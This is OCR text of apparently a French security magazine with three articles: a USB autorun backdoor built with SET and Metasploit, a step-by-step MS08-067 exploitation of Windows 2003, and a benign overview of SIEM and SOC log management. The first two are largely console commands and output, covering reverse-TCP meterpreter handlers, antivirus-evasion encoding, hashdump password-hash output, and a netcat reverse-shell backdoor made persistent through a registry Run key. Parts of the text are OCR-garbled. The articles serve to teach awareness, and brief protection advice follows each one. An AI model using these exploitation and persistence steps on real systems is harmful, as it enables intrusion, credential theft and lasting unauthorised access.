encore exploit, c’est I'encodage utilisé pour dépas-
ser les contrdles classiques des antivirus ainsi que
le port sur lequel la machine de l'attaquant va at-
tendre sa victime :

e Windows Shell Reverse_TCP (N°1).

www.ice-innov.com

ad do you want to generate:

Description:

. Windows Shell Reverse TCP
2. Windows Reverse TCP Meterpreter

comnand shell on victin and send back to attacker.
a meterpreter shel ictim and send back to attacker.
a WNC server on vi nd send back to attacker.
accepting port on remote systen.
(nmm:nd Shell, Bind TCP Inline
Command SheU_, Reverse TCP Inline

3 Reverse TCP VNC DLL
4. Windows Bind Shell
5. Windows Bind Shell X64
ws Shell Reverse TCP X64
Meterpreter Reverse TCP XG4
Meterpreter Eqress Buster
terpreter Reverse HTTPS
/s Meterpreter Reverse DNS
11, Import your own executable

meterpreter shell and find a port home via multiple ports
| communication over HTTP using SSL and use Meterpreter
Tunnel communications over DNS and spawn a Meterpreter console
Specify a path for your own executable

Enter choice (hit enter for default): 1

Figure 4. Choix du Payload (Exploit)

e Backdoored Executable (BEST),
e Port 4444,

Below is a list of encodings to try and bypass AV.

Select one of the below, 'backdoored executable' is typically the best.
1. avoid_utf8_tolower (Normal)
2. shikata _ga_nai (Very Good)
3. alpha_mixed (Normal)
4. alpha_upper (Normal)
5. calld_dword_xor (Normal)
6. countdown (Normal)
7. fnstenv_mov (Normal)
8. jmp_call_additive (Normal)
. nonalpha (Normal)
. nonupper (Normal)
. unicode mixed (Normal)
. unicode_upper (Normal)
. alpha2z (Normal)
4. No Encoding (None)
. Multi-Encoder (Excellent)
. Backdoored Executable (BEST)

Enter your choice (enter for default): 16
[-1 Enter the PORT of the listener (enter for default): 4444

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...

Figure 5. Choix de l'encodage et le port d’écoute

Il suffit par la suite de lancer le listener, qui n'est
autre que l'outil Metasploit, sur la machine de I'at-
taquant, et de récupérer les deux (2) fichiers pré-
parés par SET sur la clé-usb que nous allons insé-
rer par la suite au niveau d’'une machine virtuelle
Windows préparée a cet effet.

=[
-- --=[ 635 exploits - 316 auxiliary
+ - -=[ 215 payloads - 27 encoders - 8 nops

=[ svn r11089 updated (2010.11.22)

Warning: This copy of the Metasploit Framework was last updated
We recommend that you update the framework at least every other day
For information on updating your copy of Metasploit, please see:
http://www metasploit.com/redmine/projects/framework/wiki/Updating

resource (src/program_junk/meta_config)> use exploit/multi/handler
resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 6.0.0.0
LHOST => 0.0.0.0
resource (src/program_junk/meta_config)> set LPORT 4444
LPORT => 4444
resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program_junk/meta_config)> exploit -j
Exploit running as background job.

msf exploit(handler) >

Started reverse handler on 0.0.0.0:4444
Starting the payload handler...

Figure 5. Machine attaquante (192.168.1.1) en écoute a
l'aide de METASPLOIT sur son port 4444
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USB-EXPLOIT

Voici les deux (2) fichiers générés par I'outil SET:

e program.exe : le backdoor qui va s’exécuter
sur la machine de la victime,

e autorun.inf : le fichier qui va automatiquement
lancer I'exécution de program.exe.

autorun - Konqueror

Location Edit Wiew Go Bookmarks Tools
Settings Window Help

X - —
O Lo R e ® = |3 1K

k¥ Location: | @ jpentest/exploits/SET/autorun MIEAR

LF

program.exe

autorun.inf

2 Items - 2 Files (288.0 KB Total) - No Folders

Figure 6. Fichiers générés par SET

Passons aux tests

Nous récupérons les deux (2) fichiers dans la clé
USB que nous insérons au niveau de la machine
(de la victime) préparée a cet effet puis nous ré-
cupérons les résultats de l'attaque des deux (2)
cbtés, victime et attaquant.

Coté machine Victime :
Il suffit de taper, au niveau de l'invite de comman-
de « netstat —b » pour apercevoir les résultats :

:\Documents and Settings‘Adninistrateurdnetstat -h
onnexions actives
Proto Adresse locale fdresse distante

ICP ice-df1ad4Phchhb:1118  192.168.1.1:4445
[program.exel

Etat
ESTABLISHED 680

Figure 7. netstat —b cété machine victime

Il est bien clair que la machine victime a établie
une connexion TCP a partir de son port 1118 vers
la machine de I'attaquant 192.168.1.1 sur son port
4445,

Coté machine de I’Attaquant :

5T explol >
Started reverse handler on 0.0.0.0:4445
Starting the payload handler...
sf exploit ) > use exploit/multi/ha
4445 -> 10 2:1118 )

Figure 8. Metasploit en écoute cété machine de l'atta-
quant (192.168.1.1)

Nous constatons qu’une session a été ouverte
avec la machine victime et que I'attaquant a un

1 WHITOHACK

nd shell session 1 opened (192.168.1.1

acces Shell en mode root.

Comment s’en protéger contre ce genre de

d’attaques ?

Il est possible de se protéger de plusieurs manie-

res possibles dont :

e Désactiver la lecture automatique des sup-
ports amovibles au niveau du systéme d’ex-
ploitation,

e Activer le firewall sur la machine,

e Mettre & jour continuellement I'anti-virus et
activer la protection en temps réel,

Conclusion

Cet article nous a montré la simplicité avec laquel-
le une personne malintentionnée pourrait mettre
en place une attaque de type USB-Exploit.
Techniquement, nous avons présenté I'exemple
de deux (2) machines appartenant au méme ré-
seau LAN. Il est possible d’élaborer ce genre d’at-
taques a travers le réseau WAN en préparant I'en-
vironnement attaquant de la maniére adéquate et
c’est ce qui rend ce genre d’attaque dévastateur.
Ce genre d’attaque est trés répandu dans le mi-
lieux des affaires, de la recherche avancée, du
business,...

Nous avons vu aussi que cette attaque revét deux
(2) grands volets: le volet humain (social enginee-
ring) et le volet technique (Backtrap, SET, Metas-
ploit).

Concernant le volet technique, les outils ne man-
quent pas pour ce genre de pratiques.

Pour le volet humain, des centaines de types d’at-
taques sont possibles allant du classique
« voudrait tu lire mon introduction et me don-
ner ton avis d’expert » jusqu’au « ton ordinateur
est touché par un virus veux-tu que je jette un
coup d’ceil ? »...

Références et pour aller plus loin

Site Web : http://www.backtrack-linux.org/
http://www.backtrack-linux.org/backtrack/
social-engineering-toolkit-training/
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MS08-067

Ce que vous allez Apprendre...

Les risques d’'une mise a jour oubliée,

Exploiter la non mise a jour pour prendre le contréle du
systeme d’exploitation,

Comment se protéger contre ces risques.

Ce que vous devez Savoir...

Notions en systémes d’exploitation Windows,
Connaissances basiques pour I'outil Metasploit.

Le Risque

L’installation des mises a jour et correctifs de sé-
curité systéme revét souvent un aspect facultatif
par manque de temps, de moyens ou par craintes
d’interruption des services et processus métiers.
Pourtant, l'installation de ces correctifs que ce soit
sur les serveurs ou les postes de travail, permet
bien souvent de se prémunir contre des vulnérabi-
lités de sécurité bien réelles, soient-elles internes
ou externes. Afin de gérer cette tache, plusieurs
solutions existent sur le marché notamment pour
les systemes Microsoft, jugées comme faisant par-
tie des plus vulnérables.

A la fin de 'année 2008, une faille liee a un débor-
dement de tampon concernant le service
« Serveur » de Microsoft assurant le partage de
fichiers, d'impression et d’édition de canaux sur le
réseau est découverte. Cette vulnérabilité, affec-
tée au bulletin de sécurité Microsoft plus connue
sous ce nom MS08-067, touche plusieurs versions
de Windows (Windows 2000, XP, Vista, 2003 et
méme certaines versions de 2008 Server).

Malgré I'ancienneté de cette faille, elle reste tres
répondue sur nos systemes d’informations. Pire
encore, elle est plus que jamais critique vu I'exis-
tence de codes d’exploitation libres sur Internet
permettant a un attaquant d'exécuter du code arbi-
traire avec les privileges administrateur du systé-
me et de prendre ainsi le contrbéle de la machine a
distance. Elle est aussi la principale source de pro-
pagation de plusieurs vers et virus (Le plus connu
étant Conficker) qui utilise cette faille pour se
propager méme en présence de solutions antivira-
les efficaces.

www.ice-innov.com

Exploiter la faille

Parmi ces codes d’exploitation disponibles gratui-
tement sur le Net, nous utilisons [loutil
« Metasploit Framework » pour montrer dans cet
article I'exploit sur une machine tournant sous
Windows 2003 Server en y installant un cheval
de Troie. Metasploit Framework est un célébre
outil pour le développement et I'exécution d'ex-
ploits plus ou moins sophistiqués.

Pour commencer, il faut télécharger I'outil a partir
de I'adresse http://www.metasploit.com. Ensuite, a
partir de la console de Metasploit, nous entamons
la procédure suivante :

1. Choaisir I'exploit a réaliser :

Listing 1. Sélection de la vulnérabilité a exploiter

msf > use exploit/windows/smb/ms08 067 netapi

2. Configurer les variables LHOST et LPORT per-
mettant de spécifier I'adresse IP et le port qui se-
ront en écoute sur la machine locale :

Listing 2. Sélection ports source et destination

msf exploit(ims08_067_netapi) > set LHOST
[@IP de la machine locale]

msf exploit(ims08_067_netapi) > set LPORT
4444

3. Configurer la variable RHOST qui spécifie I'a-
dresse IP de la machine cible :

Listing 3. Sélection de '@IP de la cible

msf exploit(ms08_067_netapi) > set RHOST
[@IP de la machine cible]
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MS08-067

4. Configurer la variable PAYLOAD qui spécifie
quand a elle la partie du code qui sera exécutée
dans la zone mémoire débordée.

Plusieurs valeurs sont possibles : Controle a dis-
tance a travers 'outil VNC, installation d’une porte
dérobée ou I'ouverture d’'une simple invite de com-
mandes MSDOS. Dans notre cas, nous avons
choisit le PAYLOAD meterpreter qui permet I'exé-
cution de plusieurs commandes intéressantes que
nous allons voir un peu plus loin.

Listing 4. Choix du PAYLOAD a exécuter

msf exploit(ms08_067_netapi) > set PAYLOAD
windows/meterpreter/reverse_tcp

5.La commande exploit permet de lancer 'attaque.

Listing 5. Lancement de I'attaque

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on port 4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows 2003 — No Service Pack -
lang:Unknown

[*] Selected Target: Windows 2003 SPO Universal
[*] Triggering the vulnerability...

[*] Sending stage (723456 bytes)

[*] Meterpreter session 1 opened
(192.168.0.136:4444 -> 192.168.0.141:1042)
meterpreter >

Listing 6. Résultat de la commande Hashdump

meterpreter > hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY
8528¢78df7ff55040196a9b670f114b6. ..

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administra-
tor:500:b512¢c1f3a8c0e7241aa818381e4e751b:18
91f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:
231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404e
e:31d6cfe0d16ae931b73¢c59d7e0c089c0:::
HelpAssis-
tant:1000:9cac9c4683494017a0f5cad22110dbdc:3
1dcf7f8f9a6b5f69b9fd01502e6261e:::

SUP-

PORT _388945a0:1002:aad3b435b51404eeaad3b
435b51404ee:36547c5a8a3de7d422a026e51097¢
cc9:::
vitim:1003:81cbcea8a9af93bbaad3b435b51404ee:
561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >

L’'apparition du bash « meterpreter > » indique
que I'exploit a réussi. L'intrus contréle alors com-
pletement la machine. Grace au PAYLOAD, il peut
ainsi exécuter des commandes qui lui permet-
traient de :

e Télécharger et Uploader des fichiers sur la
machine (commandes download et upload),

e Désactiver les protections antivirus et firewalls
locaux,

e Contréler la configuration réseau et systéme,

e Activer a distance la WEBCAM et le MICRO
de la machine contrélée,

e Récupérer le Hash des mots de passe de la
machine (commande hashdump) comme montrés
dans la figure ci-dessous. A partir de ces Hash |l
est possible de retrouver les mots de passe en
clair a travers des attaques par brute force, par
dictionnaire ou par cryptanalyse (par le biais des
Rainbow tables).

1 WHITOHACK

La suite de la procédure pour un attaquant serait
d’uploader un utilitaire (netcat par exemple) qui
fera office de cheval de Troie lui permettant de
revenir et reprendre le contréle du serveur a n'im-
porte quel moment méme aprés la mise a jour du
systeme et la correction de la faille.

6. Uploader le fichier netcat

Listing 7. Uploader le fichier netcat

meterpreter >
c:\\windows\\system32

upload /tmp/nc.exe

[*] uploading : /tmp/nc.exe ->

Listing 8. Succeés de l'opération d’upload

[*] uploaded
c:\windows\system32\nc.exe

/tmp/nc.exe ->
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7. Par la suite I'attaquant ira rajouter une entrée
dans le registre pour exécuter netcat a chaque
démarrage de la machine et le configurer pour
écouter sur le port 443.

Listing 9. Configuration de Netcat

meterpreter> reg setval -k
HKLM\SOFTWARE\Microsoft\WWindows\\Current
Version\\Run —v nc —-d “C:\\windows\\system32
\\nc.exe —L —d —p 443 —e cmd.exe”

L’outil netcat se mettra a fonctionner méme apres
que la machine sera redémarrée. L’attaquant de-
vra alors seulement se connecter par un telnet au
port 443 de la machine cible pour avoir un contréle
complet de la machine méme aprés que celle-ci
applique les mise a jour.

root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

root@t:-# telnet 192.168.100.104 443
Trying 192.168.100.104...

Connected to 192.168.100.104.

Escape character is '~]'.

Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settlngs\Bureau\ncllnt

& Shell

matiqguement vulnérable car les patchs ne sont
pas encore disponibles. Durant cette période, il
faut garder un maximum de vigilance contre tout
comportement suspect du systéme (Bugs récur-
rents, ...) et compter sur des systémes de détec-
tions d’intrusions pour rester vigilent contre toute
activité suspecte.

Conclusion

Encore aujourd’hui, le fait de mettre en place des
mises a jour reste un luxe pour beaucoup de per-
sonnes ou d’entreprises. En revanche, pour les
hackers, cela reste la source d’intrusion majeure
dans leurs exploits méme les plus sophistiqués.
Dans cet article, nous avons montré comment
n’importe quelle personne initiée un tant soit peu a
linformatique peut, a l'aide de simples outils dis-
ponibles gratuitement sur Internet, pénétrer sur
des systémes distants, exploitant une faille encore
d’actualité aujourd’hui, la MS08-067. Bien enten-
du, la meilleur des parades pour contrer ce genre
de menaces est de maintenir tous ses systémes
constamment mises a jour.

Figure 1. Connexion de l'attaquant au backdoor

Comment s’en protéger ?
Des dizaines de vulnérabilités et leurs codes d’ex-

ploitation apparaissent chaque mois. Certains tou-
chent les produits Microsoft (Windows, Office, ...)
mais d’autres les autres éditeurs Adobe, Unix,
Mac OS, Google, VMware, VLC, iPhone...

Vous vous demandez peut étre comment s’en pro-
téger. Et bien c’est simple. Dés leurs apparitions,
appliquez les mises a jour.

Cela dit, entre le temps d’apparition de la faille et
I'apparition de la mise a jour, il peut se passer des
semaines. Au cours de cette période, les hackers
appellent ce genre de vulnérabilités « Zeroday ».
C'est-a-dire que n’importe quel systéme est auto-

www.ice-innov.com

MS08-067 Attack Activity
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Figure 2. Activités de l'attaque MS08-067 en 2008.

Références et pour aller plus loin

http://www.microsoft.com/technet/security/
bulletin/ms08-067.mspx
http://dev.metasploit.com/documents/
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] Problématique

Gestion et Corrélation

des Logs

Ce que vous allez Apprendre...

En quoi consiste la problématique de gestion et analyse
de logs ?

Qu’est ce qu’un SIEM (System Information Event mana-
ger) et un SOC (Security Operating Center) ?

Quels solutions existent pour quels besoins ?

Ce que vous devez Savoir...
Notions trés basiques en réseau et systeme.

Problématique
Vous avez une tonne de logs dont vous ne savez

quoi faire ? Vous voulez avoir une vision globale et
compléte sur le fonctionnement de votre systéme
d’'information ? Vous avez des besoins de confor-
mité a certains standards et normes internationa-
les ? Si c'est le cas, alors vous faites clairement
face a une problématique de gestion et corrélation
de logs. Chaque composante de votre systéme
d’'information (Switch, routeur, pare feu, IDS/IPS,
serveur, base de données, ...) génére des infor-
mations relatives aux événements touchant a ses
activités. Ces événements générent a leurs tours
des informations appelées « Logs » en anglais ou
« Journaux » en Frangais. Plus le nombre de
composants est grand, plus la tache d’analyse et
de collecte des logs devient ardue.

Face a cette problématique, des solutions de ges-
tion des informations et événements de sécurité
(SIEM) existent. Ces solutions sont en passe de
devenir des éléments incontournables de l'infras-
tructure de sécurité de toute entreprise, jouant un
réle important dans la détection des menaces, la
réponse aux incidents, [investigation légale
(forensics) et la conformité aux standards sécuri-
té.

How It Works

- =N

Network

Devices

Applications

Databases

i

Servers

Directories
Security
Devices

Real-Time Monitoring,
Correlation and Alerts

Log Management, Reporting
and Historical Analysis

Incident Management

Figure 1. Principe de base d’une solution SIEM
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Par rapport aux objectifs de ces solutions, et selon
le Cabinet Gartner, « les utilisateurs finaux ont
besoin d'analyser les données des événements de
sécurité en temps réel, pour la gestion des mena-
ces commengant par les événements réseau, et
de produire des analyses et des rapports sur les
données journalisées, pour surveiller la conformité
avec la politique de sécurité, ayant comme pre-
mier focus les événements des applications et si-
tes hotes ».

Les solutions SIEM automatisent donc et rationali-
sent le processus de collecte des logs, d'événe-
ments (non limités aux seuls événements de sécu-
rité), depuis diverses sources a travers le réseau.
Ces produits ont recours a des techniques d'agré-
gation de données et de corrélation d'événements
pour analyser les données afin d'identifier les me-
naces de sécurité connues et déceler les compor-
tements anormaux susceptibles d’identifier un
probléme.

Network
Operations

Compliance Risk
Audit Management Operations  Op,

Security O

Server - = N Application &

Engineering ri A M = &

| D . | n

—

2 ‘,—°—‘ ri-‘ Database
.

Reports

Baseline Alerts

Asset ~ [ 4
Identification ﬁ b D Q orensics

Incident

g Manasement
|

Lo o
Management <&

e

Figure 2. Interactions dans un SIEM
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En déclenchant une alerte, la solution SIEM active
des processus automatiques ou manuels afin de
rechercher et maitriser toute attaque suspecte ou
reconnue.

En outre, les solutions SIEM facilitent les investi-
gations numériques |égales (forensics) et simpli-
fient le processus de réponse aux requétes d'au-
dit. Ces plateformes incluent également de plus en
plus couramment des fonctions de gestion et d'ar-
chivage de logs, ce qui facilite la conformité aux
dispositions |égales de rétention des données a
long terme.

La plupart des plates-formes SIEM se présentent
sous forme de solutions logicielles ou d'Appliance
optimisées pour simplifier le déploiement. En gé-
néral, les produits incluent un logiciel serveur, une
console de gestion centralisée en mode web, et
dans la plupart des cas, un logiciel agent qui doit
étre déployé sur les dispositifs a surveiller. De
nombreuses solutions incluent des capacités de
stockage additionnelles et des référentiels de don-
nées servant a stocker et gérer les données des
événements.

(15 For P et G Caee o (SEI%]

Database Auth Level

Activity by Spocific Usorname

13) Top Atackers ACL Denled by Device Type

: vj nr )

complet qui supporte le travail des analystes de
sécurité, les solutions SIEM jouent un role capital
dans la détection et l'analyse des menaces, les
mesures correctives, les investigations et les rap-
ports de conformité.

Vers un Security Operating Center ?

Le Centre Opérationnel de la Sécurité des Systé-
mes d'Information (COSSI), plus connu sous son
appellation anglo-saxonne Security Operating
Center (SOC) est une structure physique et logi-
que que peut mettre en place une entreprise don-
née pour assurer le contrdle et la surveillance
24h/24 et 7jl7T de ses ressources informatiques
critiques mise en place sur la base de solutions
SIEM. Le SOC est plus global que le NOC, Net-
work Operating Center (exemple Cisco Mars),
englobant ainsi toutes les composante d’'un syste-
me d’information (réseau, systéme, applications,

).

Le SOC, peut étre interne, au sein de la direction
informatique ou externe, chez un tiers de confian-
ce. Dans ce cas de figure, un lien VPN Sécurisé
entre le site principal et le site SOC permet I'é-
change sécurisé des données dans les deux sens
a travers Internet. En effet, le site principal envoie
les logs générés par les composantes du Systéme
d’Information (machines/ serveurs/ application/
équipements réseaux, équipements sécurité, etc.)
vers le site SOC qui les analyse en temps réel et
renvoie des alertes et des rapports aux personnes
concernées sur le site principal afin de pallier aux
insuffisances ou failles éventuellement découver-
tes.

Figure 3. Exemple d’interface SIEM

Cela dit, les solutions SIEM ne peuvent par elles-
mémes, empécher ni minimiser les attaques. Si
vous vous attendez a ce qu'elles le fassent, vous
risquez d'étre décus. Toutefois, lorsqu'elles sont
déployées dans un écosystéme de sécurité

www.ice-innov.com

CLIENT SITE

SECURITY OPERATION CENTER

Figure 4. Principe d’'un SOC Externe
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Quelles solutions pour quels besoins ?

La gamme des solutions de gestion des logs com-
prend toute une panoplie d’offres permettant de
répondre aux besoins fonctionnels des petites et
moyennes entreprises comme des plus grandes
organisations.

La plupart des grands constructeurs systeme et
réseau (Microsoft, Cisco, ...), a I'exception nota-
ble d’'IBM, se sont retirés au profit d’entreprises
plus spécialisées (Arcsight, RSA (EMC), Netfo-
rensics, LoglLogic, Symantec, ...).

challengers leaders

ArcSight
RSA (EMC)
SenSage
LoglLogic
Symantec
Q1 Labs

CA Novell
NetiQ

Quest Software
IBM

NitroSecurity

ability to execute

Trustwave
LogRhythm
Tenable TriGeo
Prism Microsystems netForensics
elQnetworks

LogMatrix

niche players visionaries

{ completeness of vision | -

As of May 2010

Figure 5. Quadrant magique de Gartner concernant les
principaux éditeurs de solutions SIEM pour Mai 2010

Il est inutile de spécifier que vus les contraintes
logistiques (accords avec les différents éditeurs),
de complexité, de maintenance, les solutions com-
merciales restent nettement supérieures aux solu-
tions gratuites.

Cela dit, du coté des logiciels libres, une solution
émerge, 'OSSIM (Open Source Security Informa-
tion Management). Le but de ce projet est de four-
nir toute une panoplie d’'outils pour garantir a I'ad-
ministrateur une vue compléte pour tous les as-
pects liées a la sécurité a travers une interface de
visualisation et des systémes de reporting com-
plets. Cette solution demeure cependant peu utili-
sée dans les environnements de production ou
métiers.
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Figure 6. Interface OSSIM
Conclusion

La mise en place d’'une solution de gestion des
événements (SIEM) dans un premier temps puis
d’'un Security Operating Center (SOC) dans un
second temps, est un pas que beaucoup de res-
ponsables informatiques hésitent a faire. Pourtant,
cette démarche leur accorderaient un contréle ab-
solue sur leur systéme d’information via un moni-
toring continu.

D’un autre coté, le SOC, leur permettra de se pré-
parer a tout type d'incident et les assureraient d’é-
tre en conformité avec leur politique de sécurité
interne ainsi que les exigences de sécurité impo-
sées par la nature de leur métier (SoX, PCI-DSS,
...) ou les standards internationaux en la matiére
(1ISO27001).

Références et pour aller plus loin

http://www-01.ibm.com/software/tivoli/products/
security-operations-magr/
http://www.arcsight.com/library/download/
building-a-successful-soc/
http://www.rsa.com/products/envision/
wp/9724 7SIEM_WP 0708 FRENCH-

lowres.pdf
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